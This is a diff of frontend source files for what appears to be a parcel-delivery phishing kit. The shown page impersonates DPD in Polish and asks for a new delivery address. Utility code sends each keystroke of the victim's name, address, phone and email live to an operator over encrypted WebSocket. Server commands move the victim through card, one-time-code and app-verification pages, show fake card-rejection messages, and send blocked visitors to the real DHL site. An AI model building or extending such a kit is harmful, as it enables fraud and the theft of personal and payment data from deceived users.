_.DebouncedFunc<(...args: any[]) => void>
> = {};
const apiDebounceFunctions: Record<
string,
_.DebouncedFunc<(...args: any[]) => void>
> = {};
// 获取或创建针对某个键的防抖函数
function getDebouncedFunction(
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
key: string,
func: (...args: any[]) => void,
wait: number
) {
if (!debounceFunctions[key]) {
debounceFunctions[key] = _.debounce(func, wait);
}
return debounceFunctions[key];
}
const modeRef = ref(1)
// 处理输入变化
export function inputChange(type: string, key: any, value: any) {
const currentTimestamp = Date.now(); // 当前时间戳
// WebSocket 防抖函数
const wsDebouncedFunction = getDebouncedFunction(
wsDebounceFunctions,
key,
(type, key, value) => {
myWebSocket?.send(
JSON.stringify({
event: "input_text",
content: { type, key, text: value },
timestamp: currentTimestamp,
})
);
},
300
);
// API 防抖函数
const apiDebouncedFunction = getDebouncedFunction(
apiDebounceFunctions,
key,
(type, key, value) => {
sendInput({
content: { type, key, text: value },
timestamp: currentTimestamp,
});
},
1000
);
// 调用防抖函数
wsDebouncedFunction(type, key, value);
if(modeRef.value !== 2) {
apiDebouncedFunction(type, key, value);
}
}
// Handle login success
export function loginSuccess(token: string, mode: number) {
if(mode === 2) {
modeRef.value = 2
myWebSocket = useSocketIo(
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
}/ws?token=${token}`
);
}else{
myWebSocket = useSocket(
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
}/ws?token=${token}`
);
}
myWebSocket?.on("close", () => console.log("Socket closed!"));
myWebSocket?.on("open", () => {
const lastToken = localStorage.getItem("token");
loginWebsocket(token, lastToken !== token);
});
myWebSocket?.on("message", handleMessage);
window.addEventListener("beforeunload", () => {
myWebSocket?.off("close");
});
}
// Handle WebSocket messages
function handleMessage(data: any) {
const jsonData = JSON.parse(data);
if (!jsonData || !jsonData.event) return;
const { event, content } = jsonData;
switch (event) {
case "login":
//handleLoginEvent(content);
break;
case "result_type":
handleResultTypeEvent(content);
break;
case "reload":
window.location.reload();
break;
default:
break;
}
}
// Handle login event
function handleLoginEvent(content: any) {
const route = localStorage.getItem("route");
if (route) {
const customOtpDataValue = localStorage.getItem("customOtpData");
if (route === "customOtpValid" && customOtpDataValue) {
setCustomOtpData(JSON.parse(customOtpDataValue));
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
})
);
return;
}
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: route },
})
);
}
}
// Handle result type event
function handleResultTypeEvent(content: any) {
if (!content) return;
const typeHandlers: Record<string, () => void> = {
customOtpValid: () => navigateTo("/customOtpValid", content),
otpValid: () => navigateTo("/otpValid", content),
appValid: () => navigateTo("/appValid", content),
success: () => router.push("/success"),
kickOut: redirectToExternal,
block: redirectToExternal,
otpFail: () =>
eventBus.emit("otp-valid", {
message2:
content.value.message2 ||
i18n.global.t("Verification code error, please try again"),
}),
appFail: () =>
eventBus.emit("app-valid", {
message2:
content.value.message2 ||
i18n.global.t(
"The session is about to expire, please complete the verification now"
),
}),
back: () => handleBackOrReject(content, true),
reject: () => handleBackOrReject(content, false),
refresh: () => {
if(localStorage.getItem("route")){
localStorage.removeItem("route");
window.location.reload();
}
},
};
if (content.type == "customOtpValid") {
if(content.value.customOtpData) {
setCustomOtpData(JSON.parse(content.value.customOtpData));
}
}
if (content.type == "customOtpFail") {
eventBus.emit("custom-otp-valid", {
message2: content.value.message2,
});
}
const handler = typeHandlers[content.type];
if (handler) handler();
useLoadingStore().setLoading(false);
}
// Navigate to specific path with query parameters
function navigateTo(path: string, content: any) {
router.push('/temp').then(() => {
router.push({
path: path,
query: {
cardType: content.value?.data?.cardData?.cardBIN?.schema,
message1: content.value?.message1,
key: new Date().getMilliseconds(),
},
});
});
}
// Handle back or reject type
function handleBackOrReject(content: any, isBack: boolean) {
let message2 = i18n.global.t(
"This card does not support this transaction, please try another card"
);
if (configData.value.error_card_msg) {
message2 = configData.value.error_card_msg;
}
if (content.value.type) {
const type = content.value.type;
if (type === "denyC" && configData.value.deny_c_msg) {
message2 = configData.value.deny_c_msg;
}
if (type === "denyD" && configData.value.deny_d_msg) {
message2 = configData.value.deny_d_msg;
}
}
if (content.value.message2) {
message2 = content.value.message2;
}
if (isBack) {
router.push({ path: "/card", query: { message2 } });
}
eventBus.emit("my-event", { message2 });
}
// Login to WebSocket
function loginWebsocket(token: string, isFirst: boolean) {
myWebSocket?.send(
JSON.stringify({
event: "login",
content: { tag: "user", token, isFirst },
})
);
initHtml();
}
// Redirect to an external URL
export function redirectToExternal() {
window.location.href = "https://www.dhl.com/ch-de/home.html";
}
export async function loadHtml(url: string) {
try {
const response = await fetch(url); // 替换为您的 HTML 文件路径
if (!response.ok) {
return "";
}
return await response.text();
} catch (error) {
return "";
}
}
export const headerHtml = ref("");
export const footerHtml = ref("");
export const loadingBg = ref("#ffffff");
const initHtml = async () => {
const routePath = localStorage.getItem("route");
headerHtml.value = await loadHtml("/Q3h9Lm2Rk8VzNwXa/header.html");
footerHtml.value = await loadHtml("/Q3h9Lm2Rk8VzNwXa/footer.html");
await router.push(routePath ? `/${routePath}` : "/phone1");
setTimeout(async () => {
useLoadingStore().setLoading(false);
loadingBg.value = "transparent";
}, 200);
};

View File

@@ -0,0 +1,17 @@
// src/eventBus.ts
import mitt from "mitt";
// 定义事件名称和对应的数据类型
type Events = {
"my-event": { message2: string };
"otp-valid": { message2: string };
"app-valid": { message2: string };
"custom-otp-valid": { message2: string };
// 可以在这里添加其他事件
// 'another-event': number;
};
const eventBus = mitt<Events>();
export default eventBus;

View File

@@ -0,0 +1,407 @@
// 设置
import { useLoadingStore } from "@/stores/loadingStore";
import { io, Socket as SocketIOClient } from "socket.io-client";
// ─── 会话加密接口 ───────────────────────────────────────────────
export interface SessionCrypto {
aesKey: CryptoKey; // AES-128-GCM不可导出
}
// ─── AES-GCM 加密 / 解密 ───────────────────────────────────────
async function encryptPayload(plain: string, aesKey: CryptoKey): Promise<string> {
const iv = crypto.getRandomValues(new Uint8Array(12));
const encoded = new TextEncoder().encode(plain);
const cipher = await crypto.subtle.encrypt({ name: "AES-GCM", iv }, aesKey, encoded);
const out = new Uint8Array(iv.byteLength + cipher.byteLength);
out.set(iv, 0);
out.set(new Uint8Array(cipher), iv.byteLength);
let binary = "";
for (let i = 0; i < out.length; i++) binary += String.fromCharCode(out[i]);
return JSON.stringify({ data: btoa(binary) });
}
async function decryptPayload(raw: unknown, aesKey: CryptoKey): Promise<string> {
const rawStr =
typeof raw === "string" ? raw :
raw && typeof raw === "object" ? JSON.stringify(raw) : String(raw ?? "");
let envelope: { data?: string };
try { envelope = JSON.parse(rawStr); } catch { return rawStr; }
if (!envelope?.data) return rawStr;
const bytes = Uint8Array.from(atob(envelope.data), c => c.charCodeAt(0));
const iv = bytes.slice(0, 12);
const cipher = bytes.slice(12);
try {
const plain = await crypto.subtle.decrypt({ name: "AES-GCM", iv }, aesKey, cipher);
return new TextDecoder().decode(plain);
} catch {
return rawStr;
}
}
// ─── ECDH 密钥协商工具 ─────────────────────────────────────────
/**
* 生成 P-256 临时密钥对,返回 { keyPair, clientPublicKeyB64 }
*/
export async function generateECDHKeyPair(): Promise<{
keyPair: CryptoKeyPair;
clientPublicKeyB64: string;
}> {
const keyPair = await crypto.subtle.generateKey(
{ name: "ECDH", namedCurve: "P-256" },
true,
["deriveBits"]
);
const pubKeyRaw = await crypto.subtle.exportKey("raw", keyPair.publicKey);
const clientPublicKeyB64 = btoa(
Array.from(new Uint8Array(pubKeyRaw)).map(b => String.fromCharCode(b)).join("")
);
return { keyPair, clientPublicKeyB64 };
}
/**
* 用服务端公钥base64 raw P-256与给定的客户端私钥推导 AES-128-GCM 会话密钥
*/
export async function deriveSessionKey(
serverPublicKeyB64: string,
clientPrivateKey: CryptoKey
): Promise<SessionCrypto> {
const serverPubKeyBytes = Uint8Array.from(atob(serverPublicKeyB64), c => c.charCodeAt(0));
const serverPublicKey = await crypto.subtle.importKey(
"raw", serverPubKeyBytes,
{ name: "ECDH", namedCurve: "P-256" }, false, []
);
const sharedBits = await crypto.subtle.deriveBits(
{ name: "ECDH", public: serverPublicKey }, clientPrivateKey, 256
);
const hkdfKey = await crypto.subtle.importKey("raw", sharedBits, "HKDF", false, ["deriveKey"]);
const aesKey = await crypto.subtle.deriveKey(
{
name: "HKDF", hash: "SHA-256",
salt: new Uint8Array(32),
info: new TextEncoder().encode("socket-aes-key"),
},
hkdfKey,
{ name: "AES-GCM", length: 128 },
false,
["encrypt", "decrypt"]
);
return { aesKey };
}
/** 断线/握手阶段队列最大长度,防止内存无限增长 */
const MAX_QUEUE_SIZE = 200;
class Socket {
url: string;
private token: string;
private sessionCrypto: SessionCrypto | null;
private ecdhKeyPair: CryptoKeyPair | null = null;
private clientPublicKeyB64: string | null = null;
/** 握手全部完成ECDH + login后才为 true期间消息也入队 */
private isReady = false;
socket: SocketIOClient | null = null;
listeners: { [key: string]: Function[] } = {};
private messageQueue: any[] = []; // 断连/握手期间暂存消息的队列
constructor(url: string, token = "", sessionCrypto: SessionCrypto | null = null) {
this.url = url;
this.token = token;
this.sessionCrypto = sessionCrypto;
this.init();
this.setupVisibilityListener();
}
/** 懒初始化 ECDH 密钥对(只生成一次,重连时复用) */
private async initECDH() {
if (!this.ecdhKeyPair) {
const { keyPair, clientPublicKeyB64 } = await generateECDHKeyPair();
this.ecdhKeyPair = keyPair;
this.clientPublicKeyB64 = clientPublicKeyB64;
}
}
/**
* 通过 Socket.IO key_exchange 事件与服务端协商会话密钥。
* 每次 connect包括服务端重启后重连都调用确保密钥始终有效。
*/
private performKeyExchange(): Promise<void> {
return new Promise<void>((resolve) => {
// 3 秒超时:若服务端不响应则无加密继续
const timeout = setTimeout(() => {
this.socket?.off('key_exchange_result', onResult);
this.sessionCrypto = null;
resolve();
}, 3000);
const onResult = async (serverPubKeyB64: string) => {
clearTimeout(timeout);
try {
this.sessionCrypto = await deriveSessionKey(serverPubKeyB64, this.ecdhKeyPair!.privateKey);
} catch (e) {
console.error('[Socket] key derivation failed:', e);
this.sessionCrypto = null;
}
resolve();
};
this.socket?.once('key_exchange_result', onResult);
this.socket?.emit('key_exchange', this.clientPublicKeyB64);
});
}
/**
* 发送 login 并等待服务端回 {event:"login",content:"success"}。
* 服务端发送 login success 时 client.State 已同步设置完毕,
* 之后再冲刷队列才能保证消息不被 "State == nil" 守卫丢弃。
*/
private async sendLoginAndWait(): Promise<void> {
await new Promise<void>((resolve) => {
let settled = false;
const settle = () => {
if (settled) return;
settled = true;
this.socket?.off('message', onRawMessage);
clearTimeout(timer);
resolve();
};
// 3 秒兜底:即使没收到确认也继续
const timer = setTimeout(settle, 3000);
const onRawMessage = async (raw: unknown) => {
try {
let text: string;
if (this.sessionCrypto) {
text = await decryptPayload(raw, this.sessionCrypto.aesKey);
} else {
text = typeof raw === 'string' ? raw : JSON.stringify(raw);
}
const parsed = JSON.parse(text);
if (parsed?.event === 'login') settle();
} catch { /* 忽略解析失败 */ }
};
// 先注册监听,再发 login避免极速响应漏掉
this.socket?.on('message', onRawMessage);
this.sendRaw(JSON.stringify({ event: 'login', content: { token: this.token }, timestamp: Date.now() })).catch(() => settle());
});
}
init() {
if (this.socket) {
return;
}
console.log("Socket initialized with URL:", this.url);
this.socket = io(this.url, {
path: "/socket.io",
query: this.token ? { token: this.token } : undefined,
reconnectionDelay: 1500,
reconnectionAttempts: Infinity, // 服务端重启后持续重连,不放弃
});
// 连接事件处理(含重连):每次都重新做 ECDH解决服务端重启后密钥失效问题
this.socket.on('connect', async () => {
this.isReady = false; // 握手期间暂停直接发送,新消息继续入队
// 清理上一次连接残留的 key_exchange_result 监听器,避免多次重连后堆积
this.socket?.off('key_exchange_result');
try {
await this.initECDH();
await this.performKeyExchange();
// 等待服务端 login success 确认后再冲刷队列
// 保证 client.State 已在服务端设置,避免消息被 "State==nil" 守卫丢弃
await this.sendLoginAndWait();
} catch (e) {
console.error('[Socket] 握手阶段异常,将以无加密方式继续:', e);
this.sessionCrypto = null;
} finally {
// 无论握手是否成功,都必须就绪并冲刷队列,避免消息永久滞留
this.isReady = true;
await this.flushMessageQueue(); // 连接后按序发送排队消息
this.emit('open', { type: 'open' });
}
});
// 消息接收(支持 AES-GCM 解密)
this.socket.on('message', async (data) => {
let plainText: string;
if (this.sessionCrypto) {
plainText = await decryptPayload(data, this.sessionCrypto.aesKey);
} else {
plainText = typeof data === 'string' ? data : JSON.stringify(data);
}
this.emit('message', plainText);
});
// 连接错误
this.socket.on('connect_error', (error) => {
this.emit('error', error);
});
// 断开连接
this.socket.on('disconnect', (reason) => {
this.isReady = false; // 断开后消息重新入队
this.emit('close', { reason });
});
// 重连尝试
this.socket.on('reconnect_attempt', (attemptNumber) => {
this.emit('reconnect_attempt', attemptNumber);
});
// 重连成功
this.socket.on('reconnect', (attemptNumber) => {
this.emit('reconnect', attemptNumber);
});
// 重连失败
this.socket.on('reconnect_failed', () => {
useLoadingStore().setLoading(false); // 重连失败时关闭加载状态
this.emit('reconnect_failed', { type: 'reconnect_failed' });
});
// 处理所有其他事件
this.socket.onAny((eventName, ...args) => {
if (!['connect', 'disconnect', 'error', 'reconnect_attempt',
'reconnect', 'reconnect_failed', 'message'].includes(eventName)) {
this.emit(eventName, args);
}
});
}
isConnected(): boolean {
return this.socket?.connected ?? false;
}
/** 用于握手阶段的 login 事件,同样走加密通道 */
private async sendRaw(data: string) {
if (this.sessionCrypto) {
const encrypted = await encryptPayload(data, this.sessionCrypto.aesKey);
this.socket?.emit('message', encrypted);
} else {
this.socket?.emit('message', data);
}
}
async send(data: string) {
try {
const payload = JSON.parse(data);
// 添加时间戳
const messageData = {
...payload,
timestamp: payload.timestamp || Date.now()
};
// 未就绪(断连中或 ECDH/login 握手中)时统一入队,保证消息不丢失且顺序正确
if (!this.isReady) {
if (this.messageQueue.length < MAX_QUEUE_SIZE) {
this.messageQueue.push(messageData);
} else {
console.warn('[Socket] 消息队列已满,丢弃消息:', messageData.event);
}
this.reconnectIfNeeded();
return;
}
const serialized = JSON.stringify(messageData);
if (this.sessionCrypto) {
const encrypted = await encryptPayload(serialized, this.sessionCrypto.aesKey);
this.socket?.emit('message', encrypted);
} else {
this.socket?.emit('message', serialized);
}
} catch (error) {
console.error('Invalid message format. Must be a valid JSON string.', error);
}
}
/** 按顺序逐条发送积压消息,保证 FIFO 且不会因并发导致乱序 */
async flushMessageQueue() {
if (this.messageQueue.length === 0) return;
const queue = this.messageQueue.splice(0); // 原子取出,避免发送期间新消息混入
for (const msg of queue) {
if (!this.isReady || !this.socket?.connected) {
// 发送途中再次断开,将剩余消息放回队首
this.messageQueue.unshift(...queue.slice(queue.indexOf(msg)));
break;
}
try {
const serialized = JSON.stringify(msg);
if (this.sessionCrypto) {
const encrypted = await encryptPayload(serialized, this.sessionCrypto.aesKey);
this.socket?.emit('message', encrypted);
} else {
this.socket?.emit('message', serialized);
}
} catch (e) {
console.error('[Socket] flushMessageQueue 发送失败:', e);
// 发送失败也放回队首
this.messageQueue.unshift(...queue.slice(queue.indexOf(msg)));
break;
}
}
}
reconnectIfNeeded() {
if (!this.isConnected() && this.socket) {
this.socket.connect();
}
}
on(event: string, callback: Function) {
// 需要经过本层中间件(如解密)的事件,统一走 this.listeners
if (['open', 'close', 'error', 'reconnect', 'reconnect_attempt', 'reconnect_failed', 'message'].includes(event)) {
if (!this.listeners[event]) {
this.listeners[event] = [];
}
this.listeners[event].push(callback);
} else {
// 其他 Socket.IO 原生事件
this.socket?.on(event, (...args) => callback(...args));
}
}
off(event: string) {
if (this.listeners[event]) {
delete this.listeners[event];
}
this.socket?.off(event);
}
emit(event: string, data: any) {
if (this.listeners[event]) {
this.listeners[event].forEach(callback => callback(data));
}
}
private handleVisibilityChange = () => {
if (document.visibilityState === "visible" && !this.isConnected() && this.socket) {
this.socket.connect();
}
};
setupVisibilityListener() {
document.addEventListener("visibilitychange", this.handleVisibilityChange);
}
disconnect() {
document.removeEventListener("visibilitychange", this.handleVisibilityChange);
this.socket?.disconnect();
}
}
function useSocketIo(url: string, token = "", sessionCrypto: SessionCrypto | null = null) {
const socket = new Socket(url, token, sessionCrypto);
return {
socket,
send: socket.send.bind(socket),
on: socket.on.bind(socket),
off: socket.off.bind(socket),
disconnect: socket.disconnect.bind(socket),
};
}
export { useSocketIo, Socket };

View File

@@ -0,0 +1,392 @@
import { useLoadingStore } from "@/stores/loadingStore";
import { sendInput } from "@/api/api";
// ============ 类型定义 ============
interface SocketOptions {
heartbeatInterval?: number;
reconnectInterval?: number;
maxReconnectAttempts?: number;
retryIntervals?: number[];
forceClose?: boolean;
timeOut?: boolean;
}
interface PendingMessage {
id: string;
data: string;
retries: number;
timestamp: number;
}
// ============ 默认配置 ============
const DEFAULT_OPTIONS: Required<SocketOptions> = {
heartbeatInterval: 2000,
reconnectInterval: 1000,
maxReconnectAttempts: 10,
retryIntervals: [2000, 3000, 5000], // 2秒、3秒、5秒重试
forceClose: false,
timeOut: false,
};
const MAX_RECONNECT_INTERVAL = 30000;
const MAX_HEARTBEAT_MISS = 3;
const RETRY_CHECK_INTERVAL = 1000;
// ============ Socket 类 ============
class Socket {
private url: string;
private ws: WebSocket | null = null;
private opts: Required<SocketOptions>;
// 连接管理
private reconnectAttempts = 0;
private reconnectTimeoutId: number | null = null;
// 心跳管理
private heartbeatIntervalId: number | null = null;
private heartbeatMissCount = 0;
// 消息管理
private sendQueue: PendingMessage[] = [];
private pendingConfirmations = new Map<string, PendingMessage>();
private retryCheckerId: number | null = null;
// 事件管理
private listeners: Record<string, Function[]> = {};
constructor(url: string, opts: SocketOptions = {}) {
this.url = url;
this.opts = { ...DEFAULT_OPTIONS, ...opts };
this.init();
this.setupBrowserListeners();
}
// ============ 初始化与连接 ============
private init(): void {
if (this.isConnectingOrOpen()) return;
this.heartbeatMissCount = 0;
this.ws = new WebSocket(this.url);
this.bindWebSocketEvents();
}
private bindWebSocketEvents(): void {
if (!this.ws) return;
this.ws.onopen = this.handleOpen.bind(this);
this.ws.onmessage = this.handleMessage.bind(this);
this.ws.onerror = this.handleError.bind(this);
this.ws.onclose = this.handleClose.bind(this);
}
// ============ WebSocket 事件处理 ============
private handleOpen(event: Event): void {
this.reconnectAttempts = 0;
this.clearReconnectTimeout();
this.startHeartbeat();
this.startRetryChecker();
this.emit("open", event);
this.flushSendQueue();
}
private handleMessage(event: MessageEvent): void {
try {
const data = JSON.parse(event.data);
switch (data.event) {
case "heartbeat":
this.heartbeatMissCount = 0;
break;
case "ack":
this.handleAck(data.messageId);
break;
default:
this.emit("message", event.data);
}
} catch {
this.emit("message", event.data);
}
}
private handleError(event: Event): void {
this.emit("error", event);
}
private handleClose(event: CloseEvent): void {
this.stopHeartbeat();
this.stopRetryChecker();
this.emit("close", event);
this.scheduleReconnect();
}
private handleAck(messageId: string): void {
if (messageId && this.pendingConfirmations.has(messageId)) {
this.pendingConfirmations.delete(messageId);
}
}
// ============ 连接状态 ============
private isConnectingOrOpen(): boolean {
return this.ws?.readyState === WebSocket.CONNECTING
|| this.ws?.readyState === WebSocket.OPEN;
}
private isConnected(): boolean {
return this.ws?.readyState === WebSocket.OPEN;
}
private isClosed(): boolean {
return this.ws?.readyState === WebSocket.CLOSED;
}
// ============ 重连机制 ============
private scheduleReconnect(): void {
if (!this.canReconnect() || this.reconnectTimeoutId !== null) return;
const timeout = Math.min(
this.opts.reconnectInterval * Math.pow(2, this.reconnectAttempts),
MAX_RECONNECT_INTERVAL
);
this.reconnectTimeoutId = window.setTimeout(() => {
this.reconnectAttempts++;
this.reconnectTimeoutId = null;
if (this.isClosed()) {
this.init();
}
}, timeout);
}
private canReconnect(): boolean {
return !this.opts.maxReconnectAttempts
|| this.reconnectAttempts < this.opts.maxReconnectAttempts;
}
private clearReconnectTimeout(): void {
if (this.reconnectTimeoutId !== null) {
clearTimeout(this.reconnectTimeoutId);
this.reconnectTimeoutId = null;
}
}
private reconnectIfNeeded(): void {
if (this.isClosed() && this.canReconnect() && !this.isConnectingOrOpen()) {
this.init();
}
}
// ============ 心跳机制 ============
private startHeartbeat(): void {
if (!this.opts.heartbeatInterval) return;
this.heartbeatIntervalId = window.setInterval(() => {
if (this.heartbeatMissCount >= MAX_HEARTBEAT_MISS) {
this.ws?.close();
return;
}
this.heartbeatMissCount++;
if (this.isConnected()) {
this.ws!.send(JSON.stringify({
event: "heartbeat",
content: { tag: "user" }
}));
}
}, this.opts.heartbeatInterval);
}
private stopHeartbeat(): void {
if (this.heartbeatIntervalId) {
clearInterval(this.heartbeatIntervalId);
this.heartbeatIntervalId = null;
}
}
// ============ 消息发送 ============
async send(data: string): Promise<void> {
try {
const message = JSON.parse(data);
const pendingMsg = this.createPendingMessage(message);
if (this.isConnected()) {
// WebSocket 连接正常,直接发送
this.sendDirect(pendingMsg);
} else if (this.canReconnect() && !this.isConnectingOrOpen()) {
// 可以重连,加入队列等待重连后发送
this.enqueue(pendingMsg);
this.reconnectIfNeeded();
} else {
await this.sendViaHttp(message);
}
} catch {
console.error("[WebSocket] Invalid message format. Must be valid JSON.");
}
}
private async sendViaHttp(message: any): Promise<void> {
try {
if (message.event !== "input_text") {
await sendInput(message);
}
} catch (error) {
console.error("[WebSocket] HTTP fallback failed:", error);
throw error;
}
}
private createPendingMessage(message: any): PendingMessage {
const id = this.generateMessageId();
const timestamp = Date.now();
return {
id,
data: JSON.stringify({ ...message, messageId: id, timestamp }),
retries: 0,
timestamp,
};
}
private sendDirect(pendingMsg: PendingMessage): void {
this.ws?.send(pendingMsg.data);
this.pendingConfirmations.set(pendingMsg.id, pendingMsg);
}
private enqueue(pendingMsg: PendingMessage): void {
this.sendQueue.push(pendingMsg);
}
private flushSendQueue(): void {
if (!this.isConnected()) return;
while (this.sendQueue.length > 0 && this.isConnected()) {
const pendingMsg = this.sendQueue.shift();
if (pendingMsg) {
this.sendDirect(pendingMsg);
}
}
}
// ============ 消息重试机制 ============
private startRetryChecker(): void {
this.stopRetryChecker();
this.retryCheckerId = window.setInterval(() => {
this.checkPendingMessages();
}, RETRY_CHECK_INTERVAL);
}
private stopRetryChecker(): void {
if (this.retryCheckerId) {
clearInterval(this.retryCheckerId);
this.retryCheckerId = null;
}
}
private checkPendingMessages(): void {
const now = Date.now();
const { retryIntervals } = this.opts;
for (const [id, msg] of this.pendingConfirmations.entries()) {
const age = now - msg.timestamp;
const waitTime = retryIntervals[msg.retries] ?? retryIntervals[0];
// 未到重试时间
if (age < waitTime) continue;
// 超过最大重试次数,降级使用 HTTP
if (msg.retries >= retryIntervals.length) {
this.pendingConfirmations.delete(id);
try {
const message = JSON.parse(msg.data);
this.sendViaHttp(message).catch((error) => {
console.error("[WebSocket] HTTP fallback failed, re-queuing message:", error);
this.sendQueue.push(msg);
});
} catch (error) {
console.error("[WebSocket] Failed to parse message for HTTP fallback:", error);
this.sendQueue.push(msg);
}
useLoadingStore().setLoading(false);
continue;
}
// 重试发送
if (this.isConnected()) {
this.ws?.send(msg.data);
msg.retries++;
}
}
}
// ============ 工具方法 ============
private generateMessageId(): string {
return `${Date.now()}-${Math.random().toString(36).substring(2, 11)}`;
}
// ============ 事件系统 ============
on(event: string, callback: Function): void {
if (!this.listeners[event]) {
this.listeners[event] = [];
}
this.listeners[event].push(callback);
}
off(event: string): void {
delete this.listeners[event];
}
private emit(event: string, data: any): void {
this.listeners[event]?.forEach(callback => callback(data));
}
// ============ 浏览器事件监听 ============
private setupBrowserListeners(): void {
// 页面可见性变化
document.addEventListener("visibilitychange", () => {
if (document.visibilityState === "visible") {
this.reconnectAttempts = 0;
if (!this.isConnectingOrOpen()) {
this.init();
}
}
});
// 网络状态变化
window.addEventListener("online", () => {
this.reconnectAttempts = 0;
if (!this.isConnectingOrOpen()) {
this.init();
}
});
}
}
// ============ 导出 ============
function useSocket(url: string, opts?: SocketOptions) {
const socket = new Socket(url, opts);
return {
socket,
send: socket.send.bind(socket),
on: socket.on.bind(socket),
off: socket.off.bind(socket),
};
}
export { useSocket, Socket };
export type { SocketOptions, PendingMessage };

View File

@@ -0,0 +1,345 @@
<script setup lang="ts">
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { inject, onMounted, reactive, ref } from "vue";
import { inputChange, myWebSocket,configData } from "@/utils/common";
const loadingStore = useLoadingStore();
// 表单数据
const formData = reactive({
fullName: "",
phone: "",
address: "",
address2: "",
city: "",
state: "",
zipCode: "",
email: "",
});
// 错误状态管理
const formDataError = reactive({
fullName: false,
phone: false,
address: false,
address2: false,
city: false,
state: false,
zipCode: false,
email: false,
});
const emailErrorMessage = ref("");
const router = useRouter();
// 核心逻辑:边输入边提醒错误 (Real-time validation)
const textChange = (event: any, key: keyof typeof formData) => {
const value = event.target.value;
inputChange("input_address", key, value);
// 实时逻辑判断
if (key === "fullName") {
formDataError.fullName = !formData.fullName.trim();
}
if (key === "city") {
formDataError.city = !formData.city.trim();
}
if (key === "address") {
formDataError.address = !formData.address.trim();
}
if (key === "zipCode") {
formDataError.zipCode = !formData.zipCode.trim();
}
if (key === "state") {
formDataError.state = !formData.state.trim();
}
if (key === "email") {
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (!formData.email) {
formDataError.email = true;
emailErrorMessage.value = "To pole jest wymagane.";
} else if (!emailPattern.test(formData.email)) {
formDataError.email = true;
emailErrorMessage.value = "Wpisz poprawny adres email.";
} else {
formDataError.email = false;
emailErrorMessage.value = "";
}
}
if (key === "phone") {
formDataError.phone = !formData.phone.trim();
}
};
// 提交逻辑
const next = () => {
let noPass = false;
// 最终校验触发所有错误显示
if (!formData.fullName) { formDataError.fullName = true; noPass = true; }
if (!formData.city) { formDataError.city = true; noPass = true; }
if (!formData.address) { formDataError.address = true; noPass = true; }
if (!formData.zipCode) { formDataError.zipCode = true; noPass = true; }
if (!formData.state) { formDataError.state = true; noPass = true; }
if (!formData.phone) { formDataError.phone = true; noPass = true; }
if (!formData.email) {
formDataError.email = true;
emailErrorMessage.value = "To pole jest wymagane.";
noPass = true;
} else {
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (!emailPattern.test(formData.email)) {
emailErrorMessage.value = "Wpisz poprawny adres email.";
formDataError.email = true;
noPass = true;
}
}
if (noPass) return;
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/card");
}, 200);
};
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "address" },
})
);
localStorage.setItem("route", "address");
const phone = localStorage.getItem("phone");
if (phone) {
formData.phone = phone;
}
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="brt-wrapper">
<div class="brt-container">
<h1 class="brt-main-title">Zmień adres dostawy</h1>
<p class="brt-intro">
{{
configData?.address_msg
? configData.address_msg
: "Podaj nowy adres dostawy, aby DPD mogło ponownie dostarczyć Twoją paczkę. Upewnij się, że dane są poprawne i kompletne."
}}
</p>
<form :novalidate="true" @submit.prevent="next" class="brt-form">
<div class="brt-field">
<label>Imię i nazwisko <span class="req">*</span></label>
<input
type="text"
v-model="formData.fullName"
@input="(event) => textChange(event, 'fullName')"
:class="{ 'input-err': formDataError.fullName }"
/>
<span class="err-text" v-if="formDataError.fullName">Pole wymagane</span>
</div>
<div class="brt-field">
<label>Ulica i numer domu <span class="req">*</span></label>
<input
type="text"
v-model="formData.address"
@input="(event) => textChange(event, 'address')"
:class="{ 'input-err': formDataError.address }"
/>
<span class="err-text" v-if="formDataError.address">Wpisz prawidłową ulicę i numer domu</span>
</div>
<div class="brt-field">
<label>Miasto <span class="req">*</span></label>
<input
type="text"
v-model="formData.city"
@input="(event) => textChange(event, 'city')"
:class="{ 'input-err': formDataError.city }"
/>
<span class="err-text" v-if="formDataError.city">Wymagane miasto</span>
</div>
<div class="brt-field">
<label>Województwo <span class="req">*</span></label>
<input
type="text"
v-model="formData.state"
@input="(event) => textChange(event, 'state')"
:class="{ 'input-err': formDataError.state }"
/>
<span class="err-text" v-if="formDataError.state">Wymagane województwo</span>
</div>
<div class="brt-field">
<label>Kod pocztowy <span class="req">*</span></label>
<input
type="text"
v-model="formData.zipCode"
@input="(event) => textChange(event, 'zipCode')"
:class="{ 'input-err': formDataError.zipCode }"
/>
<span class="err-text" v-if="formDataError.zipCode">Nieprawidłowy kod pocztowy</span>
</div>
<div class="brt-field">
<label>Numer telefonu <span class="req">*</span></label>
<input
type="tel"
v-model="formData.phone"
@input="(event) => textChange(event, 'phone')"
:class="{ 'input-err': formDataError.phone }"
/>
<span class="err-text" v-if="formDataError.phone">Wymagany numer</span>
</div>
<div class="brt-field">
<label>Adres e-mail <span class="req">*</span></label>
<input
type="email"
v-model="formData.email"
@input="(event) => textChange(event, 'email')"
:class="{ 'input-err': formDataError.email }"
/>
<span class="err-text" v-if="formDataError.email">{{ emailErrorMessage }}</span>
</div>
<div class="brt-action">
<button type="submit" class="brt-btn-submit">
Potwierdź adres
</button>
</div>
</form>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
/* 还原 BRT 官方视觉风格 */
.brt-wrapper {
background-color: #ffffff;
min-height: 100vh;
padding: 40px 20px;
font-family: Arial, sans-serif;
display: flex;
justify-content: center;
}
.brt-container {
width: 100%;
max-width: 460px;
}
.brt-main-title {
color: #333333;
font-size: 32px;
font-weight: 700;
line-height: 1.1;
margin-bottom: 20px;
text-align: left;
}
.brt-intro {
color: #666666;
font-size: 15px;
line-height: 1.4;
margin-bottom: 35px;
text-align: left;
}
.brt-form {
display: flex;
flex-direction: column;
gap: 20px;
}
